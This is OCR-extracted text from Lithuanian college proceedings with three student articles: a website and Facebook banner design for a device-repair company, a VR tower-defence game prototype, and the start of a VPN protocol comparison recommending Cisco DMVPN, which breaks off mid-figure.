Spalvos yra labai svarbus aspektas tiek dizaine, tiek gyvenime apskritai.
Spalvas galime matyti déka fotoreceptoriy — lasteliy, esanciy miisy akyse. Spalvos
kiekvienam zmogui gali sietis su jvairiomis emocijomis ar kultGromis, todél labai
Svarbu, kuriant savo versla, jo jvaizdj, pasirinkti tinkamas spalvas, kurios atspindéty
norimg perduoti Zinutg. ,,Spalva yra pagrindinis veiksnys, veikiantis Zmogaus pojucius,
taip pat veikia zmogaus kiino fiziologijg ir psichologija.” (J. Yang, & X. Shen. 2022).
Siuo atveju jrenginiy remontu uZsiiman¢ioms jmonéms, aktualiausia yra rinktis tokias
spalvas, kaip mélyna ar zalia.

Meélyna spalva siejasi su intelektu, tai atspindi jmonés atsidavima savo darbui,
uztikrina patikimuma ir ramybe zmogui, kuris pateikia savo svarby jrenginj i specialisty
rankas. ,,Spalva yra vienas i§ galingiausiy web dizainerio jrankiy. Jis turi gebéjima
bendrauti, daryti jtaka emocijoms ir nukreipti démesj.“ (Cybellium Ltd, 2023). Zalia
spalva asocijuojasi su ekologija, ir tai yra labai svarbu. Jmonés, naudojancios $ig spalva,
dazniausiai yra susijusios su gamtos tausojimu, o tai padeda pritraukti klienty. Zmonés
vis dazniau renkasi gamtai draugiSkesnj prekiy ar paslaugy varianta. Kadangi tai
gyvybingumo spalva, klientui ji kelia pasitikéjimo jausmg ir uztikrintuma, jog atnestas
sutvarkyti jrenginys, gali biiti prikeltas antram gyvenimui.

Sriftas internetinéje svetainéje, kaip ir spalvos, taip pat yra labai svarbus.
Norint, kad internetiné svetainé atkreipty vartotojo démesj, turi biiti tinkamai parinktos
ne tik spalvos, tadiau turi bati pritaikytas ir $riftas. Zodziai turi bati aiskiai jskaitomi,
raidés — nesiliesti vienas su kita, tarpai tarp zodziy turi biiti aiskiai matomi. Srifto spalva
turi biiti tinkamai parinkta, jog nesusiliety su fonu. Srifto dizainas turi atitikti jmonés
veiklos sritj ar tema. ,,Internetiniai Sriftai pagerina jiisy svetainés iSvaizda ir naudotojo
patirtj. Jie daro jiisy turinj vizualiai patraukly ir lengvai skaitomg. Efektyviis
internetiniai Sriftai gali atspindéti jusy prekés Zenklo asmenybe ir padéti aiskiai bei
jtraukianciai perteikti jisy zinute.“ (M. Soegaard 2024). Maketuojant, kuriant svetaines,
reklama ar kitus vizualinés komunikacijos produktus, geriausia rinktis vieng arba du
Sriftus.

Nusprendus naudoti Kkelis Sriftus, reikia pasirinkti, ar tai bus serifinis, ar
neserifinis Sriftas. Paprastai reklamoms ir internetinéms svetainéms, Siuo atveju —
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susijusioms su jrenginiy remontu, geriausiai tinka Sriftas be serify. ,,Sriftas turi atitikti
vaizdo mintj ir stiliy. ISkalbingumas, lyriSkumas ar kovingumas turi atsispindéti ir
Srifte.” (L. Griksiené, V. Vichauskiené, 2009).

Kitas zingsnis kuriant internetinio puslapio dizaing yra vielinés diagramos
sudarymas. Vieliné diagrama kuriama siekiant tikslingo ir patogaus vartotojui svetainés
dizaino elementy iSdéstymo. Vielingje diagramoje spalvos nenaudojamos. Tinkamai
pasirinkus internetinés svetainés i8déstyma, galima matyti, kaip bus isdéstyti svetainés
dizaino elementai — logotipas, nuotraukos ar pasirinktas tekstas.

Norint papildomai pagerinti jmonés jvaizdj, labai svarbu tinkamai reklamuoti
savo paslaugg socialiniuose tinkluose. “Efektyvus grafinis dizainas turi pritraukti
auditorijos démes;j ir tuomet priversti juos toliau zifiréti, kad jie suvokty norima perduoti
pranesima ir (tikétinai) pasinaudoty sitiloma paslauga“ (Anitra Nottingham & Jeremy
Stout 2020).Taciau norint, kad reklama pritraukty naujy vartotojy, arba jmonés
klientas, pamatgs reklamg socialiniuose tinkluose, suprasty, jog tai biitent tos jmonés
reklama, biitina sukurti tokios pat temos, kaip ir svetainé, reklamjuostes.

Tyrimo rezultatai ir jy aptarimas

Tyrimo metu buvo atlikta tikslinés auditorijos analizé, pasirinktos tinkamos
spalvos bei §riftas, sukurta vieliné diagrama ir dizainas internetinei svetainei bei
sukurtos reklamjuostés. Uzsakovas pateiké vidinius jmonés duomenis, parodanéius,
kokia yra tiksliné auditorija. “Institucijos stebi Zmoniy naudojimasi skaitmeninémis
ziniasklaidos priemonémis, siekdamos geriau bendrauti su tiksliniais auditorijos nariais
ir efektyviai valdyti procesus“ (Bekman, M. 2023).

Analizuojant demografinius rodiklius pagal amziy ir lytj, buvo nustatyta, kad
daugiausiai jmonés paslaugomis naudojasi vyrai, kuriy yra net 64 proc.. Motery klien¢iy
skaicius sudaro 36 proc.. Tokiems rodikliams gali turéti jtakos visuomenés poziuris, kad
geriau iSmanigsias technologijas supranta vyrai. Taip pat galimai moterys, kurios apie
iSmanius jrenginius supranta maziau arba tiesiog nenori nesti savo jrenginio j servisa,
nes negali jvardinti i8kilusios problemos, galimai renkasi paprasyti vyry jrenginj
nune$ti. Kas lemia didesnj vyriskos lyties klienty kiekj, tiksliai pasakyti sunku, nes
kiekvienas zmogus individualiai sprendzia iskilusias problemas.

Klienty amZius yra labai jvairus — nuo 16 iki 80 mety. Daugiau pasitaiko
vyresnio amziaus Zmoniy, nes ne visi gerai supranta iSmanigsias technologijas, taciau
kartais rimtesniy problemy kyla ir jaunesniems vartotojams. Tokiais atvejais i§maniyjy
jrenginiy gedimo problemas taip pat gali i§spresti tik profesionalus jrenginiy taisymo
meistras.

Analizuojant rodiklius pagal gyvenamaja vieta, buvo nustatyta, jog serviso
paslaugas vartotojai renkasi ar¢iau namy. Pagrindiniai vartotojai — Vilniaus miesto ir
Vilniaus rajono gyventojai. Klientams patogiau yra rinktis aréiau gyvenamos vietos
esancig jmong, galinCig i8spresti kilusias problemas.

Analizuojant rodiklius pagal klienty pomégius ir gyvenimo buda, nepakako
duomeny nustatyti, kokius jrenginius klientai haudoja daZniausiai. Nors jmoné atlieka
jvairiy jrenginiy — telefony, plansetiniy ir neSiojamy kompiuteriy, kt. prietaisy serviso
paslaugas bei parduoda jvairias reikalingas detales, tokiy statistiniy duomeny analizei
atlikti nesukaupta tinkamai ir pakankamai.
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Vielinei diagramai sukurti buvo pasirinkta internetiné ,,figma“ svetainé. Pasak
Elvis Canziba galime isbandyti jvairias produkto dizaino idéjas be dideliy pastangy, i$
karto kurdami jas pazangiose dizaino programose. ,,Figma“ yra skirta svetainiy dizaino
sprendimams kurti, dalintis ir testuoti per jrenginius. I§ viso sukurta 10 vieliniy
diagramy skirtingoms internetinés svetainés skiltims.

e |
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1 pav. Svetainés diagrama

I8déstymas pasirinktas taip, kad biity patogu naudoti. Puslapio vir§uje — meniu
juosta su svarbiausiomis skiltimis. Vartotojy patogumui telefony modeliai suskirstyti j
grupes bei pogrupius taip, kad buty galima lengviau surasti norima modelj (1 pav.).

Pasinaudojus ,,figma“ svetaine, buvo sukurtas ,,iServisas® internetinés svetainés
dizainas su spalvomis (2 pav.). Suderinus su uzsakovu buvo pasirinkta zalia spalva, tokia
pat, kaip ir senesniame svetainés variante, taciau naujame dizaino variante neliko
violetinés spalvos, nes uzsakovo puslapyje jos buvo labai mazai ir atrodé neskoningai.
»Spalvy psichologija néra tikslusis mokslas; néra teisingy ar neteisingy spalvy, tik
spalvos, galinCios tikslinei auditorijai suzadinti geresnj atsaka nei kitos“ ( Laimona
Sliburyté & Ilona Skéryté. 2017). Zalia spalva dizaine labiausiai asocijuojasi su saugumu,
patikimumu, be to, kadangi $i spalva taip pat siejasi su ekologija, ji dera su jmonés veiklos
nuostatomis — uzsakovo jmoné kai kurias paslaugas atlieka tausojant gamta. Déstant
dizaino elementus pagal vieling diagrama, buvo atlikta eilé butiny pakeitimy.
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2 pav. iServisas svetainés dizainas

Panaudojant ,,Adobe Photoshop“ buvo sukurtos 5 reklamjuostés socialiniam
tinklui ,,Facebook®. I8maniyjy jrenginiy serviso paslaugy reklamos buvo kuriamos
vadovaujantis uzsakovo pateiktomis temomis. Kuriant reklamjuostes, buvo bandoma
suderinti zalia, violeting ir balta spalvas, kadangi tokios buvo uzsakovo svetainés
spalvos. Taéiau buvo nuspresta violetinés spalvos atsisakyti, kadangi violetiné spalva
nedera su zalia. Galutiniams reklamy dizaino variantams buvo pasirinktos zalia ir
tamsiai pilka spalvos, kai kur jterpiant ir baltos spalvos elementy (3 pav.).

3 pav. Serviso paslaugy reklamjuostés socialiniam tinklui ,,Facebook*

Sukurtuose produktuose stengtasi talpinti kuo maziau teksto, taciau naudoti
didesn;j Srifta, taip atkreipiant kliento démes;j. ,,Paprastumas turi neabejoting trauka
skaitanéiajam, kuriam troiksta laiko ir kuris dirba per daug* (Ina Saltz. 2019). Suderinus
su uzsakovu, reklamose jdétas dabartinis uzsakovo jmonés logotipas. Reklamy karimui
buvo panaudoti formy pie$imo jrankiai, taip pat — vektoriniai paveikslai bei nuotraukos.
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ISvados

1. Atlikus jmoneés tikslinés auditorijos analize nustatyta, kad vyrai sudaro 64
proc. klienty, o moterys — 36 proc.. Klienty amziaus yra jvairus, kas rodo, jog visi
susiduria su technologiniy jrenginiy gedimo problemomis, reikalaujanciomis
profesionalaus jrenginiy taisymo specialisty sprendimo.

2. Atlikus spalvy bei Srifto analiz¢, nustatytos tinkamos spalvos ir Sriftas
i$maniyjy jrenginiy serviso reklaminiams produktams.

3. Pritaikius tyrimy rezultatus pasirinktas patogus svetainés elementy
i8déstymas (vieliné diagrama) ir sukurtas internetinés svetainés dizainas su Zaliomis
spalvomis, atspindinciomis saugumg ir ekologija.

4. Sukurtos 5 reklamos (reklamjuostés) socialiniam tinklui ,,Facebook*. Visos
reklamos atspindi skirtingas jmonés paslaugas, tadiau i$laikytas vieningas dizainas, taip
klientui lengvai atskiriant, kokios jmonés reklamg jis mato.
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Summary

In this article, the results of research for the design of the website of the company iServisas and
advertising tools for social media are presented. The purpose of this article was to create a new
website design and banners for social media taking into account the company's target audience in
order to attract more customers. During the research, the target audience was analysed, the right
design solutions, colours and fonts were chosen, a new wire diagram was created and the website
design was updated; banners designed and adapted for social media.

Keywords: website, banner, wireframe, website design.
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Virtualios realybés Zaidimo ,,Tower defence* kiirimas

Mantas ivirzdinas, Mindaugas Zmitrulevicius
Kauno kolegija

zingsniai bei pagrindiniai skirtumai tarp tradicinio bei virtualios realybés Zaidimo
kiirimo. Remiantis atliktu tyrimu, sukuriamas virtualios realybés zaidimo prototipas.

Raktiniai ZodZiai: Zaidimai, virtuali realybés zaidimas, Zaidimo kirimo
procesas, judéjimas virtualioje realybéje.

Ivadas

Zaidimo kiirimo procesas — tai ilgas ir daznai didelés komandos reikalaujantis
procesas. Tam, kad uztikrinti sklandy zaidimo kiirimo procesa ne tik komandoje, bet ir
kuriant zaidimg individualiai, svarbu Zinoti pagrindinius tokio produkto kiirimo etapus.
Viena naujausiy Zaidimy perteikimo erdviy yra virtuali realybé. Virtuali realybé tai viena
i$ naujausiy technologijy, leidzianc¢iy technologijos vartotojui pasinerti j jvairias virtualias
simuliacijas. Nuo pramogy, iki mokymo medicinoje, ar inzineriniy simuliacijy. Visos §ios
patirtys, jei sukurtos tinkamai, yra giliai jtraukiancCios bei iSjauc¢iamos ir autentiskos.
Technologija efektyviai stimuliuoja tris pagrindinius Zzmogaus jutimo biidus: rega, klausa,
bei lytéjimag (1 pav.). Tinkamai sukurta virtualios realybés patirtis zmogy apgaus, jog
patirtis yra tikra ir vyksta realybéje. Technologija, turinti tick daug potencialo, turi ir
neigiamg pus¢ — netinkamas Sios technologijos panaudojimas bei netinkamas virtualios
simuliacijos dizainas gali sukelti jvairiy fiziniy nepatogumy, kurie kyla kai simuliacija
nesugeba pilnai apgauti zmogaus jusliy. Tam kad virtualios realybés simuliacija iSnaudoty
savo stiprybes bei nesukelty nepatogumy, tokios patirties kiirimas turéty stipriai susitelkti
1 zmogaus juslés apgaulg — realybés iliuzija.

Struktira

Rega Klausa Lytéjimas

Vestibuliné sistema Propriocepcija Veiksnumas
(judéjimas) (erdvinis suvokimas) (kontrolé ir pasirinkimas)

1 pav. Virtualios realybés naudojami Zmogaus pojuciai
(Creating Augmented and Virtual Realities, 2019)

57



Tyrimo ir darbo metodai ir priemonés

Siame darbe buvo naudotas analitinis tyrimo metodas, atlickant literatiiros
analize. Siuo biidu buvo siekiama istirti zaidimo kirimo etapus, skirtumus tarp
tradiciniy kompiuteriniy ir virtualios realybés zaidimy kiirimo. Darbe buvo taikomi ir
praktiniai metodai, apimantys prototipo kiirima bei testavima. Remiantis atliktu tyrimu,
buvo sukurtas zaidimo prototipas. Prototipui kurti buvo pasitelkta ,,Unity* programiné
jranga bei ,,Pico 4 virtualios realybés sistema.

Darbo tikslas — isanalizuoti Zaidimo kurimo etapus, istirti virtualios realybés
zaidimo kiirimo ypatybes bei sukurti virtualios realybés Zaidimo prototipa.

Darbo uZdaviniai:

1. ISanalizuoti ir pateikti pagrindinius zaidimo kiirimo etapus.

2. Istirti skirtumus tarp tradiciniy ir virtualios realybés zaidimy kiirimo.

3. Pritaikant tyrimo rezultatus sukurti originaly virtualios realybés Zaidimo
prototipa.

Pagrindiniai Zaidimy kiirimo etapai

Zaidimo kiirima sudaro daug dedamyjy daliy. Sj darba daznai atlieka ne vienas
asmuo, o didelé Zmoniy grupé. Kalbant, apie zaidimy kiirimg bendrai, galime i$skirti
tokius zaidimo kiirimo etapus (2 pav.) (Bramble, 2023):

e Planavimas

e PasiruoSimas produkcijai

e Produkcija

e Testavimas

e Pasiruosimas leidimui

e Leidimas

e Zaidimo palaikymas

2 pav. Zaidimo kiirimo etapai (gamemaker.io, 2023)

Zaidimo kiirimas prasideda nuo planavimo. Gimus idéjai, pradedama ja plésti.
Svarbu nuspresti, koks bus zaidimo Zanras, kokios bus zaidimo mechanikos, koks
zaidimy kiirimo jrankis bus naudojamas ir t. t. Sioje stadijoje svarbu nustatyti zaidimo
kryptj, nes vélesnése zaidimo kurimo stadijose, radikalius pakeitimus atlikti bus
sunkiau. Svarbu nuspresti ir kaip sukurtas Zaidimas bus realizuojamas, kiek truks
zaidimo kiirimas, ar pakaks turimy ziniy zaidimui sukurti (Bramble, 2023).

PasiruoSimas produkcijai — tai atlikta planavima papildantis zingsnis, kuriame
toliau plétojamos sugeneruotos id€jos, kuriami scenarijai, veikéjai, istorijos bei kitos
koncepcijos ir prototipai. Siame Zingsnyje priimti sprendimai — tai pagrindai, kuriais
toliau bus remiamasi zaidimo produkcijoje (Bramble, 2023).
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Zaidimo produkcija — tai pagrindinis etapas, kuriam yra skiriama pagrindiné
paskirto laiko dalis. Siame etape yra kuriami veikéjy modeliai, animacijos, jiems yra
jraSomas balsas. Kuriami Zzemélapiai, radomas kodas, kuriama muzika ir pan. Siuo etapu
paaiskéja, ar uzsibrézti tikslai yra jgyvendinami, ar jmanoma sekti prie§ tai priimtus
sprendimus. Planavimo etape priimti sprendimai gali Siek tiek pasikeisti, dél trikdziy
produkcijoje (Bramble, 2023).

Sukurtas Zaidimas pereina j testavimo stadija. Sioje dalyje privaloma uztikrinti,
jog kiekviena zaidimo detalé veikia taip — kaip numatyta. Svarbu i$siaiskinti ar zaidimas
turi defekty, ar jo sunkumas yra tinkamas, ar zaidimas gali buti zaidziamas kuréjy
nenumatytu biidu, ar zaidimg Zaisti yra smagu. Visi §ie atradimai yra jvertinami, o tada
zaidimas yra atitinkamai pataisomas (Bramble, 2023).

Sekanti stadija, kuri daznai prasideda kartu su Zaidimo testavimo stadija — tai
pasiruoSimas zaidimo iSleidimui. Sukuriama marketingo kampanija, kurios pagalba
7aidimas yra pristatomas visuomenei. Siame etape gali biiti ileista zaidimo bandomoji
versija, arba zaidimas gali buti atidaromas vieSam testavimui (Bramble, 2023).

Galiausiai atlikus reikalingus zaidimo pakeitimus, Zaidimas yra iSleidziamas.
Toliau yra atliekami Zaidimo pakeitimai. Atsiradus didesnei Zaidimo auditorijai —
atsiranda daugiau atrasty zaidimo defekty, kuriuos svarbu iStaisyti kuo grei¢iau
(Bramble, 2023).

Pagrindiniai skirtumai tarp tradiciniy ir virtualios realybés Zaidimy kiirimo

Pagrindinis skirtumas tarp virtualios realybés programos, bei tradicinés
kompiuterinés programos, tai yra vartotojo sasaja. Virtualioje realybéje vartotojas su
programa saveikauja realistiSkesniu biidu. Perteikiamas vaizdas, garsas bei lytéjimo
iliuzija — kartu sukuria tikrovés pojitj. Vietoj to, jog saveika atlickama su ploks¢iu
ekranu, virtualioje realybéje pasirinkimai bei sgveika gali buti atlickama 3D erdvéje.
Svarbu technologijg tinkamai iSnaudoti, nes netinkamai sukurta programa, gali Zmogaus
smegenis pradéti klaidinti. Dél to Zmogus gali pradéti jausti diskomforta (Lukas, Mohan
& Pangilinan, 2019; Garcia, Trejo, Garcia & Dumas, 2019).

Tradicinis biidas, perteikti vaizda yra per kompiuterio ekrang. Siuo atveju,
ekrano rodoma informacija yra ploks¢ia, néra jokio gylio. Tokio tipo informacijos
perteikimas néra jtikinantis bei nesukuria tikrovés, ar erdvés pojic¢io. Sis biidas nors ir
néra jtraukiantis, bet ir nesukelia diskomforto naudojant jj ilgesnj laika. Virtualios
realybés akiniai perteikia stereoskopinj vaizda. Kiekviena akis mato vaizda is kiek kitos
perspektyvos (zr. 3 pav.). Sis perteikimo bidas, leidZia interpretuoti perteikiama vaizda,
kaip fizin¢ erdve. Problema kyla, kai yra bandoma judéti Sioje erdvéje. Jeigu judéjimas
atliekamas fiziskai, problemy nekyla — Zmogaus kiinas yra sekamas sensoriy, ir Si
informacija yra tinkamai atspindima virtualioje realyb¢je. Jeigu fizinés vietos judéjimui
neuztenka, yra naudojami kiti judéjimo buidai. Naudojant valdymo pultelius, galime
keisti savo buvimo vietg virtualioje realybéje — fizi§kai nejudant. Tokiu atveju gali kilti
problemy. Akimis naudotojas mato judéjimg, bet jo vestibulinis aparatas su $ia
informacija nesutinka. Tokiu atveju gali atsirasti simptomai, panasiis j supimo liga. Sia
problema galima dalinai i$spresti naudojant teleportacijos metoda. Siuo atveju
vartotojas yra perkeliamas i§ vienos vietos j kita, nesukuriant judéjimo jausmo. Taip pat
yra kity metody, kurie bando sukurti iliuzijg ir vestibuliniui aparatui. Tokie sprendimai
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arba yra per brangis eiliniam vartotojui, arba jy efektyvumas nepateisina papildomai
priimty kompromisy (Lukas, Mohan & Pangilinan, 2019; Garcia, Trejo, Garcia &
Dumas, 2019).

Atvaizdavimo pavirsius
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Normalus matymas

Autostereograma

3 pav. Normalus zmogaus matymas ir stereoskopinio vaizdo matymas (Virtual Reality
and Neural Networks for Exploiting Geotechnical Data..., 2019)

Kitas budas sukurti realistiSkesnei iliuzijai yra garsas. Garsas virtualioje
realybéje yra kryptinis, kas imituoja zmogaus realig klausg. Tai sudedamoji dalis, kuri
neturi dideliy i88ukiy programos kiirybiniame procese. Svarbu garsus taisyklingai
i8délioti zaidimo erdvéje, tam kad sukurta iliuzija atsispindéty vartotojo likesCius
(Serafin, S. & Serafin, G., 2004).

Dar vienas pojiitis, kurj yra bandoma i$naudoti — tai lytéjimas. Zmogaus
gebéjimas paliesti, apCiuopti, paimti, paspausti — visa tai yra sunkiai imituojamas
procesas. Siandienos virtualios realybés sprendimas — tai valdymo pulteliai, kurie
vibruoja priklausomai, nuo to kaip yra sgveikaujama virtualioje realybéje. Tai yra viena
i§ sri¢iy, kurioje virtuali realybé yra paZzengusi maziausiai (Wang et al., 2019).
Pagrindinis kriterijus Siandienai, tai jog Sie valdymo pulteliai netrukdyty vartotojui
saveikauti su virtualia realybe bei taip nesugriauty sukurtos iliuzijos.

Virtualios realybés technologija yra ganétinai nauja ir jos teisingas
panaudojimas dar néra apibréztas, todél svarbu didelj démesj sutelkti j sukurto produkto
testavimg. Taciau, technologijos efektyvume slypi Siokia tokia ironija. Stimuliuojant
specifinius jutimo organus, bet nepalie¢iant kity — atsiranda konfliktas. Naudotojas gali
patirti neigiamus simptomus, kurie sugadinty vartotojo patirti. Sios problemos
sprendimai, sugriauna sukurtg iliuzijg, bet leidzia vartotojui daugiau laiko praleisti
simuliacijoje. Tikrasis problemos sprendimas — tai kompromisas tarp patogumo,
realistiSkumo bei kainos.

Zaidimo kiirimo eiga
Darbo metu, pritaikius atlikto tyrimo rezultatus, buvo sukurtas virtualios
realybés zaidimo prototipas, kuriame zaidéjas turi ginti savo vartus, nuo artéjanciy
priesy. Zaidimas vyksta mazoje kabinoje (4 pav.), kas leidzia naviguoti Zaidimo erdve
fiziskai judant. Jeigu fizinis judéjimas nejmanomas, zaid¢jas gali pakeisti savo blivimo
vietg pulteliy pagalba.
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4 pav. Zaidéjo kabina

Zaidéjo tikslas, naudojant jam suteiktus resursus (jrankius), neleisti prieams
praeiti pro vartus (5 pav.). Jeigu priesai praeina, zaidimas — pralaimétas. Siame prototipe
zaidéjui yra suteikiami du pistoletai, kuriais zaidéjas gali Saudyti, arba Siuos ginklus
iSmesti (tokiu atveju ginklai vél atsiranda numatytose vietose). Su S$iais ginklais
saveikaujant virtualios realybés sistemos pulteliai perteikia su sgveika susijusius
vibracijos impulsus. Prototipe yra trys priesy tipai, prie§ kuriuos zaidéjas turi kovoti.
Sukurta grafiné sasaja, kurios pagalba Zaid¢jas mato visa aktualig informacija bei gali
saveikauti su zaidimo funkcijomis.

6 pav. Zaidimo eiga

Kadangi kuriamas tik zaidimo prototipas, Zaidime néra daug jrankiy, priesy
tipy. Sio prototipo paskirtis, realizuoti id¢ja taip, kad zaidéjas jaustysi patogiai §j
zaidimg zaisdamas.
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ISvados

1. Istyrus zaidimo kiirimo procesa, nustatyta, kad Sis procesas susideda i$ 7
zingsniy: planavimas, pasiruosimas produkcijai, produkcija, testavimas, pasiruo$imas
leidimui leidimas, zaidimo palaikymas.

2. Istyrus skirtumus tarp tradiciniy ir virtualiy zaidimy kiirimo, nustatyta, kad
virtualios realybés zaidimo kiirimo metu didesnis démesys skiriamas Zzmogaus regai,
klausai ir lytéjimui, siekiant sukurti autentiska virtualig realybe.

3. Atlikus tyrima, buvo sukurtas zaidimo prototipas. Prototipui pritaikyta
realaus judesio sekimo technologija bei lytéjimo pojiiti stimuliuojanti technologija.
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Summary

In this article, the main steps of game development was analysed, as well as the key differences
between traditional and virtual reality game development. Based on the conducted research, a
virtual reality game prototype was created.

Keywords: games, virtual reality game, game development process, movement in virtual reality.
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Imonés padaliniy sujungimas panaudojant Cisco DMVPN

Tautvydas Juodikis, Gintaras Butkus
Kauno kolegija

Anotacija. Straipsnyje nagrinéjami jvairGs virtualaus privataus tinklo (VPN)
idiegimo atvejai. Nagrinéjami skirtingi VPN protokolai, jy privalumai ir trikumai.
Atliekama mokslinés literatiiros analiz¢, technologiniy galimybiy analizé, atvejy analizé.
Atlikus analizg, jmonés padaliniy kompiuteriy tinkly sujungimui sitiloma naudoti Cisco
DMVPN protokola, kuris geriausiai atitinka jmonés poreikius, saugumo reikalavimus.

Raktiniai ZodZiai: saugumas, slaptumas, vientisumas, prieinamumas, tinklas.

Ivadas

Daugelis organizacijy ir institucijy néra centralizuotos. Filialai, virtualios
korporacijos ir keliaujantys darbuotojai lemia, kad kuo labiau kompanijoms reikia
naudotis IT sistemomis. Miisy moderniame pasaulyje verslo imonés vis dazniau turi
keleta padaliniy, iSsibarsCiusiy skirtingose geografinése vietose. Atstumo problema
priveréia kompanijas saugumo sumetimu, turéti visada savo virtualy privaty tinkla
(angl. Virtual Private Network — VPN). Daznai jmonése nesiimama visy reikiamy
saugumo priemoniy konfigiruojant VPN. Administracijos nekeicia tiekéjy numatytyjy
slaptazodziy. Tai kelia poreikj nustoti naudoti nepatikimus, senus ir turin¢ius saugumo
skyliy VPN modelius (PPTP). Be gero VPN kompanijos visada rizikuoja, kad
svarbiausi dokumentai, kaip kompanijos paslaptys ir klienty duomenys bus prarasti,
jeigu kazkas jsibrauty ir bty naudojamas senesnis VPN, turintis saugumo skyles. Taip
pat kompanijos rizikuoja neatitikti $iuolaikiniy verslo poreikiy, tokiy kaip mobilumas
ir debesy kompiuterija.

Pagrindiné privataus tinklo VPN idéja gali bati naudojama kaip privalumas
atviro rys$iy tinklo infrastruktiiroje. VPN yra reikalingas tam, kad biity galima nurodyti
tiksliai, jog slaptoji informacija, perduodama tinkle, pvz., vietiniame tinklapyje (LAN)
arba darbinei aplinkai, i§likty konfidenciali ir prieinama tik autorizuotiems vartotojams.
VPN sistema, integruota j rysiy sistema, gali uztikrinti labai auksta saugumo lygi, todél
gali garantuoti saugy VPN, kuris buvo jgyvendintas naudojant $ifravimg ir deSifravima
(Ferguson, Paul ir Geoff Huston ,1998).

Verslui reikia patikimo, saugaus, lengvai valdomo VPN, kuris turéty kuo
maziau saugumo riziky ir biity patogus dirbant skirtinguose pasaulio vietoveése.

Tyrimo objektas — jvairis VPN protokolai — jy privalumai ir silpnosios vietos.

Tyrimo tikslas — atlikus jvairiy S$iais laikais naudojamy VPN apzvalga,
pasiilyti jmonei geriausiai tinkama virtualaus privataus tinklo protokola.

Tyrimo uzdaviniai:

1. ISanalizuoti Siuo metu esamus VPN ir suprasti, kodél yra svarbu pritaikyti
DMVPN.

2. lvertinti ar yra saugesnis tinklas, jeigu bus pradedama naudoti DMVPN.

3. Ivertinti sitiloma sukurti tinklg ir kokias galimybes jis geriausiai galéty atlikti.
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VPN analizé

Kompanijoms geografiskai pleciantis ir augant nuotolinio darbo populiarumui —
vis daugiau kalbama apie VPN svarba. VPN yra privatus tinklas, sukurtas vieSojo tinklo
infrastruktdroje, pvz., visuotiniame internete (Ferguson, Paul ir Geoff Huston, 1998).
Apibrézime atskleidziamas svarbus triikumas — nors ir tinklas atrodo privatus, ta¢iau jis
yra vieSas, o vieSame tinkle netriiksta asmeny, kurie mielai pasisavinty jusy ,,privacius®
duomenis. Todél augant vartotojy kiekiui, svarbu nepamirsti tinkamy saugumo priemoniy
ir metody. Daugelis moderniy sistemy remiasi tunelio metodu (L2TP ir PPTP labiausiai
paplite tunelio protokolai). Norint imituoti PTP, duomenys apvyniojami su antraste, kuri
suteikia marsSruto informacija, leidzianCia pereiti bendrinamag arba vieSojo transporto
tinklg, kad pasiekty galutinj taska. Norint imituoti privaty tinkla, siun¢iami duomenys yra
uzsifruoti konfidencialumo sumetimais. Paketai, perimti bendrame arba vieSajame tinkle,
yra neisSifruojami be Sifravimo rakty. RysSio dalis, kurioje yra privatis duomenys, yra
zinoma kaip tunelis (1 pav.) (Microsoft korporacija, 2009).

Tunnel

.y )
VPN \Q WPM connection
Server

Transit H*QJ

int twaork
internetwor JBN

Client

1 pav. VPN veikimas (Microsoft korporacija, 2009)

Toliau pateikti populiariis VPN protokolai:

OpenVPN. Atviro kodo VPN protokolas priklausantis OpenVVPN organizacijai
ir iSleistas 2001 m. (James Yonan, 2002). Protokolas yra zymus dél patikimy saugumo
priemoniy ir lankstumo. OpenVPN yra placiai naudojamas saugioje nuotolinéje prieigoje
ir Sifruotame IoT rySyje. OpenVPN naudoja OpenSSL, patikima atvirojo kodo
programinés jrangos biblioteka, kad uztikrinty griezta duomeny saugumg perdavimo
metu. Jame jdiegiami pazangis 256 bity Sifravimo Sifrai, siekiant uztikrinti, kad uzsifruoti
duomenys tapty nejskaitomi, o tai uZztikrina galingg apsaugg nuo galimy duomeny
pazeidimy (Mariana Krasteva, 2023). OpenVPN siilo keleta privalumy: padidintg
saugumg, patikimumag ir skaidruma. Jis palaiko visus paZangius $ifravimo standartus ir
suteikia papildomg apsaugos nuo steb¢jimo metody, tokiy kaip ugniasienés ir Deep Packet
Inspection (DPI) sluoksnj (VeePN, 2023). OpenVPN taip pat yra atviro kodo projektas,
tai reiSkia, kad priemoné yra nemokai prieinama ir didelis kiekis prisidedanciy
programuotojy greitai sutaiso galimus saugumo trikumus. Taciau OpenVPN taip pat turi
tam tikry minusy: létesnis greitis dél ilgo kodo (dazna atviro kodo projekty problema) bei
sudétingas jraSymas ir naudojimas (VeePN, 2023).

64



Apibendrinant — OpenVPN yra geras pasirinkimas, kai saugumas yra svarbiausia,
pavyzdziui, finansinés operacijos, slaptos ar konfidencialios informacijos perdavimas.
Taciau tai néra geriausias pasirinkimas kai reikalingas didelis pralaidumas, pavyzdziui,
srautiniam perdavimui, zaidimams ar kitai veiklai, kuriai reikalingas didelis rySio greitis.

WireGuard. Modernus atviro kodo VPN protokolas, kurj 2015m sukiiré Jason
A. Donenfeld (Yael Grauer, 2021). Jis naudoja pazangiausig kriptografijg ir tinklo koda,
kad sukurty uzsifruota tunelj tarp dviejy irenginiy pagal jy viesuosius raktus. Tai leidzia
greitai ir saugiai bendrauti, net kai pasikeicia kliento jrenginio IP adresas. DidZiausias
protokolo pliusas — paprastumas. Maziau kodo (lyginant su kitais VPN), maZiau klaidy
ir Klaidingy konfiguracijy. Taip pat WireGuard pasizymi lengva konfiguracija ir
dideliais greiCiais palyginti su ankstesniais standartais, tokiais kaip IPSec ir OpenVPN
(Jack Wherry, 2023). Svarbu paminéti tai, kad NordVPN NordLynx protokolas yra
paremtas modifikuotu WireGuard. Ta¢iau WireGuard pat turi tam tikry minusy: VPN
néra savarankiSkas (angl. Stand-alone), reikalingos papildomos programos (i§skyrus kai
kurias Linux platinimo versijas). Tai reiskia, kad jei norite naudoti VPN jrenginyje,
kuriame negalite jdiegti programy, turésite naudoti kita protokola. Be to, ,,WireGuard*
neturi integruoto uZtemdymo palaikymo, kuris biitinas norint apeiti gily pakety
patikrinimg tam tikruose regionuose.

Apibendrinant, WireGuard yra saugus ir modernus VPN protokolas. Jame
naudojama moderni, gerai patikrinta kriptografija, o jo kodas yra labai supaprastintas,
todél jame yra maziau klaidy ir netinkamy konfigtiracijy. Taciau svarbu pazymeti, kad
WireGuard saugumas vis tick daugiausia priklauso nuo to, kaip gerai jis buvo idiegtas
(Jack Wherry, 2023) (2 pav).

How WireGuard® VPN Works
Your VPN VPN VPN Internet
device client tunnel server

